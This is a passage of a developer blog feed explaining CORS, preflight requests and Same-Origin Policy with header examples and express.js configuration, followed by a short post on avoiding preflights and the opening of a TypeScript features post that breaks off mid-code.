&lt;p&gt;&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; is a CORS header that specifies which remote origin is allowed to make requests to the server. Its value can be a wildcard &lt;code&gt;*&lt;/code&gt;, which means all origins are allowed (not recommended for security purposes), or a specific domain. To support multiple domains, you'll need server-side logic to dynamically set the value for the header.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; is absent, or its value does not match the origin that made the request, the browser will step in and JavaScript won't be able to read response data thanks to Same-Origin Policy.&lt;/p&gt;

&lt;p&gt;Here is a sample of the response headers of our previous API request to fetch user data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access-Control-Allow-Origin: https://frontend.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In our case, &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header tells us that only the origin &lt;code&gt;https://frontend.com&lt;/code&gt; is allowed to make a cross-origin request to the server, which is the origin of our frontend, so we can safely get access to the response, and no errors are raised.&lt;/p&gt;

&lt;h2&gt;
  
  
  About "Simple Requests" and "Complex Requests"
&lt;/h2&gt;

&lt;p&gt;Before we move on, there's one key nuance to understand: browsers classify HTTP requests as either "simple" or "complex".&lt;/p&gt;

&lt;p&gt;For a request to be considered "simple", it has to meet the following criteria:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;HEAD&lt;/code&gt;, or &lt;code&gt;POST&lt;/code&gt; method.&lt;/li&gt;
&lt;li&gt;No custom headers, such as &lt;code&gt;Authorization&lt;/code&gt;, &lt;code&gt;X-Custom-Header&lt;/code&gt;, or &lt;code&gt;Accept-Encoding&lt;/code&gt;. Only &lt;code&gt;Accept&lt;/code&gt;, &lt;code&gt;Accept-Language&lt;/code&gt;, &lt;code&gt;Content-Language&lt;/code&gt;, and &lt;code&gt;Content-Type&lt;/code&gt; (with the allowed values, see next criteria).&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;Content-Type&lt;/code&gt; header value of &lt;code&gt;text/plain&lt;/code&gt;, &lt;code&gt;multipart/form-data&lt;/code&gt;, &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the request doesn't meet any of the above conditions, the browser will consider it "complex". For example, an HTTP &lt;code&gt;PUT&lt;/code&gt; request, or a &lt;code&gt;POST&lt;/code&gt; request with a &lt;code&gt;Content-Type: application/json&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;In the previous example, the request is a &lt;code&gt;GET&lt;/code&gt; with no custom headers, and no &lt;code&gt;Content-Type&lt;/code&gt;, so it qualifies as a simple request.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Do We Need This Distinction?
&lt;/h3&gt;

&lt;p&gt;For &lt;strong&gt;simple requests&lt;/strong&gt;, the browser only looks for the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header in the server’s response. If it's present and valid, the browser grants JavaScript access to the response body. That’s exactly what happens in our earlier example.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Complex requests&lt;/strong&gt;, however, require more scrutiny. The browser expects additional CORS headers, and before it even sends the actual request, it first issues an automatic &lt;strong&gt;preflight request&lt;/strong&gt;, a separate &lt;code&gt;OPTIONS&lt;/code&gt; request, to check if the real request is allowed. Only if the server responds correctly to the preflight will the browser proceed with the actual request.&lt;/p&gt;

&lt;p&gt;So far, we only talked about "simple" requests, but for complex requests, a preflight request is necessary before anything else happens.&lt;/p&gt;

&lt;p&gt;So far, we've only been dealing with simple requests. But when it comes to complex requests, things change; the browser must first send a preflight request to verify that the server permits the intended action before the actual request is sent.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Does a Preflight Request Look Like?
&lt;/h2&gt;

&lt;p&gt;Like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;OPTIONS&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="n"&gt;Origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;frontend&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="n"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt;
&lt;span class="n"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Authorization&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These two headers, &lt;code&gt;Access-Control-Request-Method&lt;/code&gt;, and &lt;code&gt;Access-Control-Request-Headers&lt;/code&gt;, play a key role in informing the server of what to expect. I explain both in detail in &lt;a href="https://marouanesouda.com/blog/what-are-preflight-requests-and-why-they-matter" rel="noopener noreferrer"&gt;my other post about preflight requests&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Then the server must respond with headers that explicitly allow the request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access-Control-Allow-Origin: https://frontend.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Authorization
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only then does the browser proceed with the actual request.&lt;/p&gt;

&lt;p&gt;If the server provides a valid response, the browser proceeds with the actual request. However, if any of these headers are missing or incorrect, the browser will &lt;strong&gt;block&lt;/strong&gt; the request before it even happens.&lt;/p&gt;

&lt;p&gt;Even after a successful preflight, the actual response must include the appropriate CORS headers, otherwise, the &lt;strong&gt;Same-Origin Policy&lt;/strong&gt; kicks in again and prevents JavaScript from accessing the response body.&lt;/p&gt;

&lt;h3&gt;
  
  
  Two Key Takeaways
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Preflight requests are part of CORS, not SOP.&lt;/strong&gt; If the server doesn’t respond correctly to a preflight &lt;code&gt;OPTIONS request&lt;/code&gt;, the actual request never gets sent. There's no role for SOP at this point; since there's no response, the browser doesn’t need to block access to anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For complex requests, the server must respond with additional headers&lt;/strong&gt;, not just &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;. These include &lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt;, &lt;code&gt;Access-Control-Allow-Headers&lt;/code&gt;. I already explained them in great detail in &lt;a href="https://marouanesouda.com/blog/what-are-preflight-requests-and-why-they-matter" rel="noopener noreferrer"&gt;my other post about preflight requests&lt;/a&gt;, which I highly recommend you take a look at.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why This Matters
&lt;/h3&gt;

&lt;p&gt;This extra preflight step adds security and transparency.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Servers can control &lt;strong&gt;who&lt;/strong&gt; is allowed to access them.&lt;/li&gt;
&lt;li&gt;They can limit &lt;strong&gt;what methods and headers&lt;/strong&gt; are accepted.&lt;/li&gt;
&lt;li&gt;They can block certain apps entirely by omitting CORS headers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, if someone tries to call your API from a different app you don’t trust, the request will be &lt;strong&gt;blocked entirely&lt;/strong&gt;. This is possible because the browser automatically includes an &lt;code&gt;Origin&lt;/code&gt; header in cross-origin requests, letting the server know where the request came from. Based on that origin, the server can decide whether to respond with the necessary CORS headers or not.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's the Point of Preflight Requests if SOP Already Exists?
&lt;/h3&gt;

&lt;p&gt;Simply put, because SOP alone is not enough.&lt;/p&gt;

&lt;p&gt;SOP doesn't stop the request from taking place, it only blocks JavaScript from reading the response if it's cross-origin without proper CORS headers.&lt;/p&gt;

&lt;p&gt;But preflight requests happen &lt;em&gt;before&lt;/em&gt; the real request is sent if the browser deems it potentially "unsafe or complex", like if the request is using custom headers, methods like &lt;code&gt;PUT&lt;/code&gt; or &lt;code&gt;DELETE&lt;/code&gt;. They are basically the browser asking the server for permission to send the actual request.&lt;/p&gt;

&lt;p&gt;SOP and preflight requests offer different layers of protection. Let me illustrate that with an example:&lt;/p&gt;

&lt;p&gt;Imagine this scenario:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://backend.com/delete-account&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DELETE&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without CORS preflight, the browser could send the actual &lt;code&gt;DELETE&lt;/code&gt; request, and even though JavaScript couldn't read the response due to SOP, the &lt;strong&gt;damage is already done&lt;/strong&gt;, the account is deleted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOP only protects the &lt;em&gt;response&lt;/em&gt;, not the *request&lt;/strong&gt;*.&lt;/p&gt;

&lt;h2&gt;
  
  
  3 Important Things to Keep in Mind
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Don’t Use &lt;code&gt;*&lt;/code&gt; in Production
&lt;/h3&gt;

&lt;p&gt;Using &lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; allows &lt;strong&gt;any site&lt;/strong&gt; to access your API. It's okay for public, read-only APIs, but bad for authenticated or sensitive routes.&lt;/p&gt;

&lt;p&gt;Be specific in production to avoid security risks.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Add &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; With &lt;code&gt;credentials: 'include'&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;If you're going to send cookies along with the request like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://backend.com/post-api&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then your backend must include &lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt; in its response. Otherwise, the browser will block the response, even if the origin is allowed.&lt;/p&gt;

&lt;p&gt;Also, you must be specific when declaring the allowed origin in &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;, which means &lt;code&gt;*&lt;/code&gt; is no longer accepted as a value. The browser will only accept a response with a &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; set to one specific origin if the request is sent with credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. SOP and CORS Only Protect the Browser
&lt;/h3&gt;

&lt;p&gt;Same-Origin Policy and CORS are &lt;em&gt;browser-enforced&lt;/em&gt; security mechanisms. They do not protect your server from malicious requests made by tools like &lt;code&gt;curl&lt;/code&gt;, Postman, or custom scripts.&lt;/p&gt;

&lt;p&gt;To fully secure your APIs, you need server-side protections like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication &amp;amp; authorization checks.&lt;/li&gt;
&lt;li&gt;API key validation.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://marouanesouda.com/blog/rate-limiting-and-throttling-why-your-api-desperately-needs-them" rel="noopener noreferrer"&gt;Throttling &amp;amp; rate limiting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Input validation &amp;amp; sanitization. &lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Common CORS Errors (and What They Mean)
&lt;/h2&gt;

&lt;p&gt;I believe that after reading so far, you can guess the meaning of any CORS error just by reading the error message. Let's walk through some of the most common ones:&lt;/p&gt;

&lt;h3&gt;
  
  
  Reason: CORS header 'Access-Control-Allow-Origin' missing
&lt;/h3&gt;

&lt;p&gt;It means that the &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header is completely absent in the response. The server did not include it at all. You need to configure your server to include the header in its responses.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reason: CORS header 'Access-Control-Allow-Origin' does not match '&lt;a href="https://frontend.com" rel="noopener noreferrer"&gt;https://frontend.com&lt;/a&gt;'
&lt;/h3&gt;

&lt;p&gt;The origin "&lt;a href="https://frontend.com" rel="noopener noreferrer"&gt;https://frontend.com&lt;/a&gt;" is not permitted to make cross-origin requests to the server. To fix this, make "&lt;a href="https://frontend.com" rel="noopener noreferrer"&gt;https://frontend.com&lt;/a&gt;" the value for &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header in the server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reason: Credential is not supported if the CORS header 'Access-Control-Allow-Origin' is '*'
&lt;/h3&gt;

&lt;p&gt;You attempted to make a request with credentials (cookies, HTTP authentication headers), but &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; is set to &lt;code&gt;*&lt;/code&gt;, which prohibits using credentials. To fix this, either omit &lt;code&gt;credentials: "include"&lt;/code&gt; if you're working with &lt;code&gt;fetch()&lt;/code&gt;, or configure a specific origin as the value of &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reason: Did not find method in CORS header 'Access-Control-Allow-Methods'
&lt;/h3&gt;

&lt;p&gt;You sent a cross-origin request with a method that is not supported by the server. For example, you made a &lt;code&gt;DELETE&lt;/code&gt; request, but the response returned included &lt;code&gt;Access-Control-Allow-Methods: GET, POST, HEAD, PATCH&lt;/code&gt;. As you can see, &lt;code&gt;DELETE&lt;/code&gt; is not one of the methods permitted in cross-origin requests.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed
&lt;/h3&gt;

&lt;p&gt;This happens when the server responds with more than one &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header or a single header with a comma-separated list of origins, which browsers do not accept. You must return only one origin as the value, or use the wildcard &lt;code&gt;*&lt;/code&gt; to allow all origins (to be avoided in production).&lt;/p&gt;

&lt;p&gt;To set multiple values, you need to do it dynamically. Create an array of allowed origins, and check the &lt;code&gt;Origin&lt;/code&gt; header of the request. If it's one of the allowed origins, set it as the value of &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Fix CORS (in express.js)
&lt;/h2&gt;

&lt;p&gt;You fix CORS on the &lt;strong&gt;server&lt;/strong&gt;, not the frontend.&lt;/p&gt;

&lt;p&gt;I recommend using &lt;code&gt;cors&lt;/code&gt; library to handle Cross-Origin Resource Sharing. First, you need to install via NPM, or your preferred package manager:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install cors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And now you can use it as a middleware in your code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cors&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;cors&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://frontend.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cors&lt;/code&gt; library already handles &lt;code&gt;OPTIONS&lt;/code&gt; requests out of the box.&lt;/p&gt;

&lt;p&gt;Other configuration options for the &lt;code&gt;cors&lt;/code&gt; middleware include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;methods&lt;/code&gt;: sets the &lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt; header. It accepts either a comma-delimited string &lt;code&gt;"GET,PUT,POST"&lt;/code&gt;, or an array like &lt;code&gt;["GET", "PUT", "POST"]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;credentials&lt;/code&gt;: sets the &lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt; header. If set to &lt;code&gt;true&lt;/code&gt;, the header will be passed, otherwise it'll be omitted.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;allowedHeaders&lt;/code&gt;: sets the &lt;code&gt;Access-Control-Allow-Headers&lt;/code&gt; header. It accepts either a comma-delimited string &lt;code&gt;"Content-Type,Authorization"&lt;/code&gt;, or an array like &lt;code&gt;["Content-Type", "Authorization"]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Brief Summary On How Browsers Handle Cross-Origin Requests
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For Simple Requests:&lt;/strong&gt; if the request uses &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, or &lt;code&gt;HEAD&lt;/code&gt;, with no custom headers and a safe &lt;code&gt;Content-Type&lt;/code&gt;, the browser sends the request immediately. It then checks the response for a valid &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header. If present and correct, JavaScript is granted access to the response. No preflight needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For Complex Requests:&lt;/strong&gt; if the request includes custom headers (like &lt;code&gt;Authorization&lt;/code&gt;), uses methods like &lt;code&gt;PUT&lt;/code&gt; or &lt;code&gt;DELETE&lt;/code&gt;, or has a non-standard &lt;code&gt;Content-Type&lt;/code&gt;, the browser sends a preflight &lt;code&gt;OPTIONS&lt;/code&gt; request first. This request includes &lt;code&gt;Access-Control-Request-Method&lt;/code&gt; and &lt;code&gt;Access-Control-Request-Headers&lt;/code&gt; headers (both explained in this article about preflight requests). If the server responds with the correct &lt;code&gt;Access-Control-Allow-*&lt;/code&gt; headers, the browser proceeds with the actual request. Otherwise, it blocks it.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>javascript</category>
    </item>
    <item>
      <title>How to Avoid Triggering Preflight Requests</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Mon, 30 Jun 2025 13:29:01 +0000</pubDate>
      <link>https://dev.to/marsou001/how-to-avoid-triggering-preflight-requests-325a</link>
      <guid>https://dev.to/marsou001/how-to-avoid-triggering-preflight-requests-325a</guid>
      <description>&lt;p&gt;If you’ve ever tried to connect your frontend app to a backend API and saw a mysterious &lt;code&gt;OPTIONS&lt;/code&gt; request fire off before your real request, you’ve encountered a &lt;strong&gt;preflight request&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;These are a part of the &lt;a href="https://marouanesouda.com/blog/a-complete-overview-of-same-origin-policy-and-cross-origin-resource-sharing" rel="noopener noreferrer"&gt;Cross-Origin Resource Sharing&lt;/a&gt; mechanism enforced by browsers to maintain web security. They are HTTP &lt;code&gt;OPTIONS&lt;/code&gt; requests sent by the browser before certain requests (I’ll get to which ones in a second) to check with the server if it's ok to send them.&lt;/p&gt;

&lt;p&gt;Most of cross-origin requests will go just fine and won't require &lt;a href="https://marouanesouda.com/blog/what-are-preflight-requests-and-why-they-matter" rel="noopener noreferrer"&gt;a preflight request&lt;/a&gt; beforehand. But for some, the browser insists on sending a preflight to ensure the actual request is safe and won’t cause issues. So...&lt;/p&gt;

&lt;h3&gt;
  
  
  When Do Preflight Requests Happen?
&lt;/h3&gt;

&lt;p&gt;Before I answer that, let's cover one key concept: &lt;strong&gt;simple requests&lt;/strong&gt; vs &lt;strong&gt;complex requests&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The browser classifies HTTP cross-origin requests into these two categories. If a request is simple, the browser skips the preflight. That’s the heart of this entire post.&lt;/p&gt;

&lt;p&gt;So, if you want to avoid preflight requests, just make sure your request looks “simple” to the browser. That it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;It uses one of these HTTP methods: &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;HEAD&lt;/code&gt;, or &lt;code&gt;POST&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It only includes "safe" headers, such as: &lt;code&gt;Accept&lt;/code&gt;, &lt;code&gt;Accept-Language&lt;/code&gt;, &lt;code&gt;Content-Language&lt;/code&gt;, or &lt;code&gt;Content-Type&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Content-Type&lt;/code&gt; header value must be either &lt;code&gt;text/plain&lt;/code&gt;, &lt;code&gt;multipart/form-data&lt;/code&gt;, or &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, if you send a &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;PATCH&lt;/code&gt;, or &lt;code&gt;DELETE&lt;/code&gt; request, that’s complex and will trigger a preflight. Same goes for custom headers like &lt;code&gt;Authorization&lt;/code&gt;, &lt;code&gt;X-Custom-Header&lt;/code&gt;, or even &lt;code&gt;Accept-Encoding&lt;/code&gt;. Also, using &lt;code&gt;Content-Type: application/json&lt;/code&gt;? Yep, that’ll trigger one too.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Main Topic: How to Avoid Sending Preflight Requests
&lt;/h2&gt;

&lt;p&gt;I mean, other than sticking to same-origin requests (which avoid CORS entirely), just stick to simple request, really. Avoid custom headers, and stick to the usual &lt;code&gt;text/plain&lt;/code&gt;, &lt;code&gt;multipart/form-data&lt;/code&gt;, or &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; values of &lt;code&gt;Content-Type&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;Other than at, if you can’t avoid a preflight (and sometimes you just can’t), you can reduce how often it happens. On your server, set the &lt;code&gt;Access-Control-Max-Age&lt;/code&gt; header. This tells the browser to cache the preflight response for a set period of time so it won’t have to send it again for every single request.&lt;/p&gt;

&lt;p&gt;If you find this post helpful, don't forget to drop a like or a comment, and share it. It helps me tremendously.  &lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>backend</category>
      <category>api</category>
    </item>
    <item>
      <title>5 TypeScript Features You’re Probably Not Using (But Should Be)</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Sun, 22 Jun 2025 16:51:40 +0000</pubDate>
      <link>https://dev.to/marsou001/5-typescript-features-youre-probably-not-using-but-should-be-5h5l</link>
      <guid>https://dev.to/marsou001/5-typescript-features-youre-probably-not-using-but-should-be-5h5l</guid>
      <description>&lt;p&gt;TypeScript is an incredibly powerful language, but many developers are not taking advantage of its many rich features. I know because I used to be the same.&lt;/p&gt;

&lt;p&gt;If you're only working with &lt;code&gt;interface&lt;/code&gt;, &lt;code&gt;type&lt;/code&gt;, and basic unions, you're missing out on options that can make your code cleaner, safer, and more maintainable.&lt;/p&gt;

&lt;p&gt;Here are five underused TypeScript features that you need to be aware of. They'll make TypeScript development much more enjoyable once you learn them.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Discriminated Unions
&lt;/h2&gt;

&lt;p&gt;This is my personal favourite feature of TypeScript. &lt;a href="https://www.marouanesouda.com/blog/discriminated-unions-in-typescript-a-tool-that-will-level-up-your-typescript-game" rel="noopener noreferrer"&gt;Discriminated unions&lt;/a&gt; are perfect for creating different states of a type with total type safety.&lt;/p&gt;

&lt;p&gt;You define each object variant with a unique &lt;strong&gt;discriminant field&lt;/strong&gt; (string literal), and TypeScript can then &lt;strong&gt;narrow&lt;/strong&gt; the type for you in a switch or if-else block.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Loading&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;loading&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Success&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;success&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nb"&gt;Error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;FetchResult&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Loading&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nx"&gt;Success&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;FetchResult&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
